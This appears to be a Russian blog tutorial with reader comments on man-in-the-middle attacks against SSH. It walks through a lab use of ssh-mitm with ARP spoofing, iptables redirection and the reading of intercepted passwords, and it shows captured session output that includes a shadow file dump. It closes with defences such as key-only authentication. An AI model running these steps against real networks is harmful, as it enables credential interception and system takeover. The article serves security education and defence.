Выполнение повседневных задач системного администратора считается безопасным при работе через SSH сессию. В данной статье речь пойдет про современные инструменты для проведения MITM-атак на протокол SSH и как защититься от них.

Арсенал


sshmitm

Существует инструмент, который появился достаточно давно и так и называется — sshmitm. Он входит в дистрибутив для проведения пентеста Kali Linux, но поддерживает только первую версию протокола SSH, что в современной инфраструктуре накладывает серьезные ограничения.


mitmproxy

Есть другой инструмент, который, в частности, позволяет провести MitM-атаку на протокол SSH — mitmproxy (не путать с другим mitmproxy). Его можно скачать с github. Этот инструмент позволяет работать и с аутентификацией по ключу, но у меня это так и не заработало. Инструмент не поддерживается уже 4 года и не работает «из коробки». Сперва нужно исправить несколько ошибок в исходном коде.

После исправления ошибок инструмент позволяет провести MitM атаку, используя аутентификацию по паролю.



intercepter-ng

Было бы странно не упомянуть инструмент Intercepter-ng, позволяющий помимо прочего проводить классическую MitM-атаку на протокол SSH.



ssh-mitm

И совсем недавно появился еще один инструмент — ssh-mitm

> GitHub

Он представляет из себя OpenSSH v7.5p1 с патчем, позволяющим работать как прокси между SSH-клиентом и оригинальным SSH-сервером. Его мы и рассмотрим подробнее.

Установка


Скачиваем дистрибутив в github и запускаем установочный скрипт

git clone https://github.com/jtesta/ssh-mitm.git
cd ssh-mitm
./install.sh

Скрипт установит все зависимости, скачает исходники openssh-7.5p1, пропатчит их, сконфигурирует и скомпилирует. В результате вы увидите сообщение

Done!  The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.

Так же будет создана директория /home/ssh-mitm.

Проведение атаки


Для того чтобы провести MitM-атаку на протокол SSH нам для начала нужно перенаправить трафик жертвы на нашу машину, вместо оригинального SSH сервера. После установки ssh-mitm мы можем воспользоваться скриптом, входящим в комплект, для поиска ssh-сессий в сети.

Скрипт JoesAwesomeSSHMITMVictimFinder.py находится в каталоге, куда вы склонировали git-репозиторий и делает следующее:

  1. Проводит arp-spoofing блока IP-адресов (размер блока задается параметром, по умолчанию равен 5)
  2. Ждет несколько секунд (время ожидания задается параметром, по умолчанию равно 20 секундам)
  3. Отображает в консоли найденные SSH сессии
  4. Переходит к следующему блоку

Для arp-spoofing-а используется ettercap, а для сниффинга сетевых пакетов tshark.
Оба инструмента по умолчанию входят в дистрибутив Kali Linux.

При запуске скрипта вы можете получить сообщение «The Python3 netaddr and/or netifaces module is not installed». Исправляется выполнением команды:

apt install python3-netaddr python3-netifaces

Пример запуска скрипта:

./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5

Пример вывода:

Local servers:
  * 192.168.1.5 -> 192.168.1.4:22

После того как цели определены, требуется выполнить другой скрипт — run.sh, который так же находится в каталоге git.

Он, собственно, запускает сервис sshd_mitm, выставляет системный параметр ip_forward равным 1, тем самым разрешая транзитные пакеты и создает правило iptables, перенаправляющее все пакеты на поддельный SSH-сервер.

root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:ssh redir ports 2222

root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      13241/sshd_mitm     

Скрипт run.sh не запускает атаку arp-spoofing. Это нужно сделать самостоятельно, например, при помощи arpspoof или ettercap.

arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5

Для получения учетных данных жертвы удобно просматривать файл auth.log при помощи tail.

tail -f /var/log/auth.log

Когда жертва (192.168.1.5) попытается подключиться к оригинальном SSH-серверу (192.168.1.4), она непременно увидит сообщение о смене публичного ключа сервера

ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4
The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?

UPD: В 99% случаев многие администраторы отвечают на подобный вопрос «yes».

Далее жертва вводит логин и пароль, а в журнале auth.log на машине атакующего появляется запись

Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth]
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2

И видим в /home/ssh-mitm файл session_0.txt с записанной сессией:

Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab
ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd  //eettcc
ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt  //eettcc//sshhaadd       ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo  ssuu  --
[sudo] password for ubuntu: qwerty123
ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd  //eettcc//^?^HESC[K
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt  sshhaadd     ^Gow    ^G      
shadow   shadow-  
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow
root:!:17040:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7::

Как видите, некоторые данные задваиваются. Это связано с тем, что записывается как ввод пользователя, так и вывод на экран. Программа sudo, например, временно отключает «echo» и пароль qwerty123 отображается «нормально»

ssh-mitm, на мой взгляд, представляет записанную сессию в более удобном виде, чем mitmproxy



На скриншоте выше я пытался ввести в консоль

cat /etc

Если целевой сервер не разрешает аутентификацию по паролю, а только по ключу, ssh-mitm все равно предложит аутентификацию по паролю и просто разорвет соединение после ввода учетных данных, так как оригинальный сервер учетные данные не примет. Но злоумышленник получит какой-то пароль и сможет использовать его в дальнейшем, так как администратор вряд ли будет вводить что-то несуществующее.

Защита


Как ни странно, но для защиты от подобных атак ничего дополнительно устанавливать в систему не требуется. Все, что нужно — это запретить аутентификацию по паролю директивой

PasswordAuthentication no

И использовать аутентификацию по ключу.

Это защитит сервис так же и от атак на перебор учетных данных, т.е. брутфорса.

Также, не стоит принимать без разбора измененный отпечаток сервера. Сам по себе он обычно не меняется, и если вы сами отвечаете за сервер, к которому подключаетесь и знаете, что ничего там не переустанавливали, стоит лишний раз проверить, не проводится ли в данный момент MitM-атака.

Комментарии (34)


  1. chupasaurus
    31.08.2017 14:41
    +2

    В 99% случаев администраторы отвечают на подобный вопрос «yes».
    Неверное обобщение, пока не подтверждено фактами, а следовательно статью можно удалять.


    1. k0ldbl00d
      01.09.2017 00:33

      В 99% случаев они нажимают Yes когда только что установили ОС (или запустили контейнер в облаке). В остальном, когда вдруг ни с того ни с сего появился запрос об изменившемся fingerprint — это как раз таки сигнал тревоги, и вот тут процент значительно меньше. По крайней мере, я надеюсь что это так.


    1. pwrlnd
      01.09.2017 12:55

      «В 99% случаев это не системные администраторы».


  1. printercu
    31.08.2017 14:43
    +3

    С начала статьи ждал, как будет отрабатываться предупреждение о том, что ключ поменялся.


    В 99% случаев администраторы отвечают на подобный вопрос «yes»

    >_< надеюсь, что хоть немного меньше эта цифра на самом деле)


    1. pyrk2142
      31.08.2017 15:04

      Около года назад встречал на Хабре утверждение, что очень много администраторов отправляют приватные ключи вместе с публичными, когда кто-то спрашивает ключ. Просто не думают о том, что они делают. А тут надо только согласиться.


      1. BOPOHA
        31.08.2017 15:35
        +4

        Автор, вероятно, судит по себе.
        Ни один нормальный *nix-сисадмин просто так подобное сообщение не оставит.


        1. antgorka Автор
          31.08.2017 16:03
          +1

          Я лишь призываю всех, и "нормальных" и "ненормальных" *nix-сисадминов использовать ключи, а не пароли, что повышает безопасность сетевой инфраструктуры. А, надеяться на то, что в Вашей организации все сисадмины "нормальные" — изначально неправильная политика информационной безопасности.


        1. 8jwnk
          31.08.2017 17:29

          Автор, вероятно, судит по себе.
          Ни один нормальный *nix-сисадмин просто так подобное сообщение не оставит.


          Уже -дцатый человек в комментариях пишет, что согласен с автором.

          ОК, пусть будет по вашему — ни один «нормальный».
          Только вот, видимо, нормальных и есть 1%.

          Какая разница каким именно словом обозначить человека? Нормальный или нет?
          Суть то не меняется — львинная доля не соблюдает правил безопасности.


          1. Shurrrman
            01.09.2017 09:10

            Нет, ну я прекрасно понимаю, при каких условиях ключ может поменяться. И когда он меняется после очевидных моих действий — в чём проблема. Если «сам» поменялся — то признак задуматься


    1. andrzzc
      31.08.2017 15:50

      Да, к сожалению описанная атака неосуществима без человеческого фактора.
      Но в случае когда администратор первый раз заходит на новый сервер, или когда у администратора новый ПК, эта цифра вполне приближается к 99%.
      В статье описывается некое подобие сниффера, который находит все действующие SSH-сессии в сети. Т.е. теоретически это дело можно автоматизировать, собирать данные и проксировать только новые компьютеры, появившиеся в сети 10 минут назад.

      Есть еще неочевидные подводные камни человеческого фактора — можно совместить атаку на важный сервер (DoS) вместе с MitM-атакой на ssh (ну или просто захватить чужой ip-адрес)
      Системный администратор заметит:
      1) важный сервер внезапно вообще перестал работать
      2) у важного сервера сменился ключ и существующий пароль больше не подходит
      ИМХО, не очень опытный администратор с долей вероятности >50%:
      1) Забудет о том что это в сети мог появиться левый ип-адрес
      2) Попадет под прессинг начальства
      3) Начнет вводить все возможные логины и пароли, в т.ч. от других серверов, до победного конца.
      4) Разбор полетов и выявление подмены IP-адреса будет проводиться сильно позже, если вообще будет.
      5) Коллекция логинов и паролей уже собрана, профит.


      1. iSergios
        01.09.2017 13:34

        Да, к сожалению описанная атака неосуществима без человеческого фактора.

        Может все-таки к счастью?


  1. iborzenkov
    31.08.2017 15:19

    The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
    ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
    Are you sure you want to continue connecting (yes/no)?

    Это только в том случае если не разу не подключался к этой машине, если уже было подключение, то ssh матернется и не даст подключиться.


    1. antgorka Автор
      31.08.2017 15:26
      -3

      Да, но PuTTY предложит принять новый ключ. Да, и когда на Вас орет начальник и просит срочно почистить файловую систему на сервере, так как бизнес "встал", а тут какие-то "глюки начинаются" и не получается подключиться к серверу, многие отдадутся эмоциям и могут выполнить ssh-keygen -f "/home/user/.ssh/known_hosts" -R ...


      1. mva
        31.08.2017 16:19
        +6

        вот где-то приблизительно поэтому у меня и существует стереотип о том, что Linux-администратор, пользующийся Windows не может являться профессионалом в этой области


        1. Wedmer
          31.08.2017 21:16
          +1

          Спорное утверждение. Работать никсовым админом и жить в никсах — несколько разные, но пересекающиеся множества.


          1. mva
            31.08.2017 21:36
            +2

            стереотип

            Я не просто так написал это слово.
            Т.е. я отдаю себе отчёт о том, что это не всегда истинно. Но этот штамп помогает моментально составлять мнение (которое, к слову, всё же часто оказывается истинным) о профессиональных качествах собеседника. Естественно, я не держусь за него и при более детальном общении сужу о человеке по его реальным навыкам.


            Но статистически этот мой штамп очень часто реально помогает морально подготовиться к тому, чего стоит ожидать от собеседника и меньше нервничать во время дискуссий.


            1. Wedmer
              31.08.2017 21:53
              +1

              Прошу прощения, слово выпало во время чтения.


  1. saboteur_kiev
    31.08.2017 15:21
    +3

    «В 99% случаев администраторы отвечают на подобный вопрос «yes».»

    Не могу поверить, что я попадаю в уникальные 1% администраторов, которые видя подобное не выясняют по какой причине поменялся ключ хоста? Это действительно поведение большинства?


    1. saboteur_kiev
      31.08.2017 15:23
      +9

      Фух, судя по каментам, я не уникален, все в порядке.


  1. chmod
    31.08.2017 15:22
    +6

    The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.

    Данное сообщение выводится только если вы никогда не подключались к данному хосту, т.е. в файле known_hosts нет о нем записи.
    Если же у известного хоста публичный ключ сменился, ssh-клиент откажется подключаться:

    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
    Someone could be eavesdropping on you right now (man-in-the-middle attack)!
    It is also possible that a host key has just been changed.
    The fingerprint for the ECDSA key sent by the remote host is
    3e:ee:ee:ee:ee:ee:ee:ee:ee:ee:e6:72:df:c4:ee:ee.
    Please contact your system administrator.
    Add correct host key in /home/user/.ssh/known_hosts to get rid of this message.
    Offending ECDSA key in /home/user/.ssh/known_hosts:1
    remove with: ssh-keygen -f "/home/user/.ssh/known_hosts" -R eee.eee
    ECDSA host key for eee.eee has changed and you have requested strict checking.
    Host key verification failed.


    Т.е. нужно предпринять ручные действия (или удалить строку в файле known_hosts, или командой ssh-keygen -f) для подключения.

    Правда это касается ssh-клиента на линуксе, не знаю как себя поведет putty в данной ситуации.

    Тем не менее абсолютно согласен с выводом статьи о запрете авторизации по паролям.


    1. antgorka Автор
      31.08.2017 15:23

      Все верно. PuTTY, насколько я помню, просто предложит принять новый ключ.


      1. saboteur_kiev
        31.08.2017 17:51
        +1

        Не совсем просто. Оно выведет варнинг, в котором большими буквами напишет, что уже сохраненный ключ не совпадает с ключом хоста, и это потенциально security breach.

        А потом уже предложит Yes, No, Cancel
        Причем в конце еще раз напомнит, что «Hitting Cancel is the ONLY guaranteed safe choise».


    1. mva
      31.08.2017 16:23

      к слову,
      1) это справедливо практически для всех ОС. И все варианты "бсди", и макось, и прочие. С некоторых пор даже в этой вашей windows можно после пары пассов руками :)
      2) putty есть и для линукса и для других ОС. Но более нужным от этого не становится, да :)


  1. Ctacfs
    01.09.2017 14:41

    В 99% случаев администраторы отвечают на подобный вопрос «yes».

    Это где 99% админов жмут yes не задумываясь когда клиент говорит, что не может установить аутентификацию хоста? В такой ситуации даже я, будучи совсем начинающим админом, сначала задумался, потом понял, в чем дело, а потом ещё и загуглил, чтобы уж наверняка.


    1. antgorka Автор
      01.09.2017 14:43
      +1

      Добавил UPD в текст, дабы прекратить спор на эту тему


  1. maxzhurkin
    02.09.2017 12:28

    А почему часть команд характерны для Debian (и про это ничего не сказано), а часть вообще противоречат всем рекомендациям по установке ПО?


    1. antgorka Автор
      02.09.2017 13:29

      Вы о чем?


      1. maxzhurkin
        02.09.2017 13:31

        apt есть только в Debian и «дочках», а всякие ./install.sh будет использовать только тот, кто пользуется системой первый и последний раз, то есть, тот, кто ей пользоваться не должен.


        1. antgorka Автор
          02.09.2017 13:37

          Вы, видимо, не понимаете, о чем речь в статье. Я устанавливаю фейковый SSH-сервер в свой собственный дистрибутив для пентеста и прекрасно понимаю, что будет делать install.sh и зачем именно я это делаю. В тексте несколько раз сказано, что я использую Kali Linux, а это Debian-based дистрибутив.


          1. maxzhurkin
            02.09.2017 13:40

            Нет, в тексте, конечно, неоднократно упоминается Kali Linux, но нигде явно не говорится, что в статье все команды приведены именно для этого дистрибутива.


            1. antgorka Автор
              02.09.2017 13:41

              Обратите внимание на "Для arp-spoofing-а используется ettercap, а для сниффинга сетевых пакетов tshark.
              Оба инструмента по умолчанию входят в дистрибутив Kali Linux." и на строку приглашения в code-тегах (root@kalix64:~)


              1. maxzhurkin
                02.09.2017 13:43

                Да, многократно говорится, что те или иные инструменты входят в состав Kali Linux, однако это нисколько не противоречит моим словам.


          1. maxzhurkin
            02.09.2017 13:47

            Плюс к тому: вы-то понимаете, что делает install.sh, а вот ваш читатель — не факт.
            И тут я бы разделил его на три группы: одна не понимает, но делает, другая не понимает, но не делает, а третья разбирается самостоятельно и или делает, или нет.
            К сожалению для нашего мира, первых очень много, к сожалению для вас, вторых тоже много, но не очень, к сожалению для всех, последних мало.


  1. vitaliy2
    05.09.2017 09:16

    Каждый день выскакивает эта фигня, всегда жму Yes.

    на самом деле нет